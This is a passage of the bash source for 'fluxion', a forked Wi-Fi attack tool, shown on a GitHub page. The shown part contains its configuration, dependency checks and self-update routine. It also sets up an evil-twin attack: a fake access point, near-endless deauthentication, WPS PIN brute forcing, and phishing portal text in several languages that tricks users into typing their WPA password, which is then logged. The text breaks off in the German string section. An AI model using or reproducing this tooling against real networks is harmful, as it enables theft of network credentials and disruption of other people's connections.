forked from samyoyo/flux
/
fluxion
executable file
·7412 lines (6706 loc) · 326 KB
/
fluxion
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
########## DEBUG Mode ##########
## ##
if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0
else FLUX_DEBUG=1
fi
## ##
################################
if [[ $EUID -ne 0 ]]; then
echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root."$transparent""
exit 1
fi
clear
##################################### < CONFIGURATION > #####################################
# Template directory
SPECIFIC_WEB_PAGE="./Sites/Template"
UPDATE_DIR="https://raw.githubusercontent.com/DidyMond/fluxion/master/fluxion"
DUMP_PATH="/tmp/TMPflux"
HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR=`pwd`
ipNmap=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'`
# Deauth duration during handshake capture
# oo
DEAUTHTIME="9999999999999"
revision=52
version=0.23
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
transparent="\e[0m"
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using fluxion"
##############################################################################################
# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode]
if [ $FLUX_DEBUG = 1 ]; then
## Developer Mode
export flux_output_device=/dev/stdout
HOLD="-hold"
else
## Normal Mode
export flux_output_device=/dev/null
HOLD=""
fi
# Delete Log only in Normal Mode !
function conditional_clear() {
if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
}
function airmon {
chmod +x airmon
}
airmon
# Check Updates
function checkupdatess {
version_online="$(timeout -s SIGTERM 20 curl -L --silent "$UPDATE_DIR" 2>/dev/null | grep "^version" | cut -d "=" -f2)"
if [ -z "$version_online" ]; then
echo "?">$DUMP_PATH/Iver
else
echo "$version_online">$DUMP_PATH/Iver
fi
revision_online="$(timeout -s SIGTERM 20 curl -L --silent "$UPDATE_DIR" 2>/dev/null | grep "^revision" | cut -d "=" -f2)"
if [ -z "$revision_online" ]; then
echo "?">$DUMP_PATH/Irev
else
echo "$revision_online">$DUMP_PATH/Irev
fi
}
# Animation
function spinner {
local pid=$1
local delay=0.15
local spinstr='|/-\'
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
}
# ERROR Report only in Developer Mode
function err_report {
echo "Error on line $1"
}
if [ "$FLUX_DEBUG" = "1" ]; then
trap 'err_report $LINENUM' ERR
fi
#Function to executed in case of unexpected termination
trap exitmode SIGINT SIGHUP
# KILL ALL
function exitmode {
conditional_clear
top
echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent""
if ps -A | grep -q aireplay-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent""
killall aireplay-ng &>$flux_output_device
fi
if ps -A | grep -q airodump-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent""
killall airodump-ng &>$flux_output_device
fi
if ps a | grep python| grep fakedns; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent""
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
fi
if ps -A | grep -q hostapd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent""
killall hostapd &>$flux_output_device
fi
if ps -A | grep -q lighttpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent""
killall lighttpd &>$flux_output_device
fi
if ps -A | grep -q dhcpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent""
killall dhcpd &>$flux_output_device
fi
if ps -A | grep -q mdk3; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent""
killall mdk3 &>$flux_output_device
fi
if [ "$WIFI_MONITOR" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent""
./airmon stop $WIFI_MONITOR &> $flux_output_device
fi
if [ "$WIFI" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent""
./airmon stop $WIFI &> $flux_output_device
macchanger -p $WIFI &> $flux_output_device
fi
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent""
sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent""
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent""
tput cnorm
if [ $FLUX_DEBUG != 1 ]; then
echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent""
rm -R $DUMP_PATH/* &>$flux_output_device
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent""
service network-manager restart &> $flux_output_device &
service networking restart &> $flux_output_device &
service restart networkmanager &> $flux_output_device &
echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent""
echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent""
sleep 2
clear
exit
}
# Generate a list of web interfaces
readarray -t webinterfaces < <(echo -e "Web Interface
\e[1;31mExit"$transparent""
)
# Generate a list of web translations
readarray -t webinterfaceslenguage < <(echo -e "English [ENG]
Spanish[ESP] GERMAN [GER]
\e[1;31m$general_back"$transparent""
)
#Language for Web Interface
#GER
DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen geben sie bitte <b>"$Host_ENC"</b> den WPA2 Schlüssel ein"
DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein"
DIALOG_WEB_SUBMIT_GER="Bestätigen"
DIALOG_WEB_ERROR_GER="<b><font color=\"red\" size=\"3\">Error</font>:</b> Das eingegebene Passwort ist <b>nicht</b> Korrekt!</b>"
DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt"
DIALOG_WEB_BACK_GER="$general_back"
DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein"
DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein"
#EN
DIALOG_WEB_INFO_ENG="For security reasons, enter the <b>"$Host_ENC"</b> key to access the Internet"
DIALOG_WEB_INPUT_ENG="Enter your WPA password:"
DIALOG_WEB_SUBMIT_ENG="Submit"
DIALOG_WEB_ERROR_ENG="<b><font color=\"red\" size=\"3\">Error</font>:</b> The entered password is <b>NOT</b> correct!</b>"
DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments."
DIALOG_WEB_BACK_ENG="$general_back"
DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters"
DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters"
#ESP
DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña <b>"$Host_ENC"</b> para acceder a Internet"
DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:"
DIALOG_WEB_SUBMIT_ESP="Enviar"
DIALOG_WEB_ERROR_ESP="<b><font color=\"red\" size=\"3\">Error</font>:</b> La contraseña introducida <b>NO</b> es correcta!</b>"
DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos."
DIALOG_WEB_BACK_ESP="Atrás"
DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres"
DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres"
#IT
DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave <b>"$Host_ENC"</b> per accedere a Internet"
DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:"
DIALOG_WEB_SUBMIT_IT="Invia"
DIALOG_WEB_ERROR_IT="<b><font color=\"red\" size=\"3\">Errore</font>:</b> La password <b>NON</b> è corretta!</b>"
DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti."
DIALOG_WEB_BACK_IT="Indietro"
DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri"
DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri"
#FR
DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire <b>"$Host_ENC"</b> votre clé pour acceder à Internet"
DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:"
DIALOG_WEB_SUBMIT_FR="Valider"
DIALOG_WEB_ERROR_FR="<b><font color=\"red\" size=\"3\">Error</font>:</b> La clé que vous avez introduit <b>NOT</b> est incorrecte!</b>"
DIALOG_WEB_OK_FR="Veuillez patienter quelques instants."
DIALOG_WEB_BACK_FR="Précédent"
DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits"
DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits"
#POR
DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet"
DIALOG_WEB_INPUT_POR="Digite sua senha WPA"
DIALOG_WEB_SUBMIT_POR="Enviar"
DIALOG_WEB_ERROR_POR="<b><font Color=\"red\" size=\"3\">Erro</font>:</b> A senha digitada <b>NÃO</b> está correto </b>!"
DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve."
DIALOG_WEB_BACK_POR="Voltar"
DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres"
DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres"
# Design
function top(){
conditional_clear
echo -e "$blue#########################################################"
echo -e "$blue# #"
echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #"
echo -e "$blue#${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"
echo -e "$blue#${yellow} "${red}M""${yellow}odded" by "${red}"D""${yellow}"idy"${red}M""${yellow}ond" " ${blue}#"
echo -e "$blue# #"
echo -e "$blue#########################################################""$transparent"
echo
echo
}
##################################### < END OF CONFIGURATION SECTION > #####################################
############################################## < START > ##############################################
# Check requirements
function checkdependences {
echo -ne "Aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Airmon-ng......."
if ! hash airmon-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Awk............."
if ! hash awk 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Bully..........."
if ! hash bully 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Curl............"
if ! hash curl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Dhcpd..........."
if ! hash dhcpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Hostapd........."
if ! hash hostapd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Iwconfig........"
if ! hash iwconfig 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Lighttpd........"
if ! hash lighttpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Macchanger......"
if ! hash macchanger 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Mdk3............"
if ! hash mdk3 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Nmap............"
if ! [ -f /usr/bin/nmap ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Php5-cgi........"
if ! [ -f /usr/bin/php-cgi ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Pyrit..........."
if ! hash pyrit 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Python.........."
if ! hash python 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Reaver.........."
if ! hash reaver 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Unzip..........."
if ! hash unzip 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Xterm..........."
if ! hash xterm 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Zenity.........."
if ! hash zenity 2>/tmp/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "Openssl........."
if ! hash openssl 2>/tmp/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "rfkill.........."
if ! hash rfkill 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "strings........."
if ! hash strings 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (binutils)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
if [ "$exit" = "1" ]; then
exit 1
fi
sleep 1
clear
}
top
checkdependences
# Create working directory
if [ ! -d $DUMP_PATH ]; then
mkdir -p $DUMP_PATH &>$flux_output_device
fi
# Create handshake directory
if [ ! -d $HANDSHAKE_PATH ]; then
mkdir -p $HANDSHAKE_PATH &>$flux_output_device
fi
#create password log directory
if [ ! -d $PASSLOG_PATH ]; then
mkdir -p $PASSLOG_PATH &>$flux_output_device
fi
if [ $FLUX_DEBUG != 1 ]; then
echo ""
sleep 0.1 && echo -e "$red "
sleep 0.1 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.1 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.1 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.1 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.1 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.1 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
echo""
sleep 1
echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax"
echo -e $white" (mod "$yellow"by"$white" DidyMond) "
sleep 1
echo -e $green " Master Project:"$red" https://github.com/deltaxflux/fluxion "$transparent
echo -e $green " Forked Project:"$red" https://github.com/DidyMond/fluxion "$transparent
sleep 1
echo -n " Latest ver."
tput civis
checkupdatess &
spinner "$!"
version_online=$(cat $DUMP_PATH/Iver)
revision_online=$(cat $DUMP_PATH/Irev)
echo -e ""$white" [${purple}${version_online}$white"$transparent"]"
echo -n " Latest rev."
echo -e ""$white" [${purple}${revision_online}$white"$transparent"]"
if [[ "$revision_online" != "?" ]]; then
if [[ "$version_online" > "$version" ]] || [[ "$version_online" == "$version" && "$revision_online" > "$revision" ]] ; then
cp $0 $WORK_DIR/flux_rev-$version-$revision.backup
curl "$UPDATE_DIR" -s -o $0
echo
echo
echo -e ""$red"
Updated successfully! Restarting the script to apply the changes ..."$transparent""
sleep 3
chmod +x $0
exec $0
fi
fi
echo ""
tput cnorm
sleep 2
fi
# Show info for the selected AP
function infoap {
Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-`
echo "INFO WIFI"
echo
echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC"
echo -e " "$blue"Channel"$transparent" = $channel"
echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps"
echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)"
echo
}
############################################## < START > ##############################################
############################################### < MENU > ###############################################
# Windows + Resolution
function setresolution {
function resA {
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB {
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC {
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD {
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE {
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;;
esac
language
}
function language {
conditional_clear
while true; do
conditional_clear
top
echo "Select your language"
echo " "
echo -e " "$blue"1)"$transparent" German "
echo -e " "$blue"2)"$transparent" English "
echo -e " "$blue"3)"$transparent" Romanian "
echo -e " "$blue"4)"$transparent" Turkish "
echo -e " "$blue"5)"$transparent" Spanish "
echo -e " "$blue"6)"$transparent" Chinese "
echo " "
echo -n " #> "
read yn
echo ""
case $yn in
1 ) german; break ;;
2 ) english; break ;;
3 ) romanian; break;;
4 ) turkish; break;;
5 ) spain; break;;
6 ) chinese; break;;
* ) echo "Unknown option. Please choose again"; conditional_clear ;;
esac
done
}
function german {
header_setinterface="Wähle deine Netzwerk Karte"
setinterface_error="Es wurden keine Netzwerk Karten gefunden, beende..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_choosescan="Wähle dein Kanal"
choosescan_option_1="Alle Kanäle"
choosescan_option_2="Spezifische Kanal(e)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
scanchan_option_1="Einzelner Kanal"
scanchan_option_2="Mehrere Kanäle"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scan="WIFI Monitor"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scanchan="Scane Netwerke..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askAP="Wähle deine Angriffs Methode"
askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)"
askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)"
askAP_option_3="WPS-SLAUGHTER - Bruteforce WPS Pin"
askAP_option_4="Bruteforce - (Handshake wird benötigt)"
general_back="Zurück"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askauth="Methode um den Handshake zu Prüfen"
askauth_option_1="Handshake ("$red"Empfohlen)"
askauth_option_2="Wpa_supplicant(Mehrere Ausfälle)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthforce="Handshake überprüfung"
deauthforce_option_1="aircrack-ng (Ausfall möglich)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthMENU="*Erfassung des Handshake*"
deauthMENU_option_1="Überprüfe handshake"
deauthMENU_option_2="Starte neu"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_webinterface="Wähle deine Strategie"
header_ConnectionRESET="Wähle deine login Seite"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
general_case_error="Unbekannte Option, wähle neu"
general_error_1="Nicht gefunden"
general_error_2="Datei wurde ${red}nicht$transparent gefunden"
general_back="Zurück"
general_exitmode="Aufräumen und schließen"
general_exitmode_1="Deaktivierung des Monitor Interface"
general_exitmode_2="Deaktivierung des Interface"
general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen"
general_exitmode_4="Säubere "$grey"iptables"
general_exitmode_5="Wiederherstellung von"$grey"tput"
general_exitmode_6="Neustarten des "$grey"Netzwerk Manager"
general_exitmode_7="Wiederherstellung war erfolgreich"
general_exitmode_8="Vielen Dank für das nutzen von Fluxion"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
selection_1="Mit aktive Nutzer"
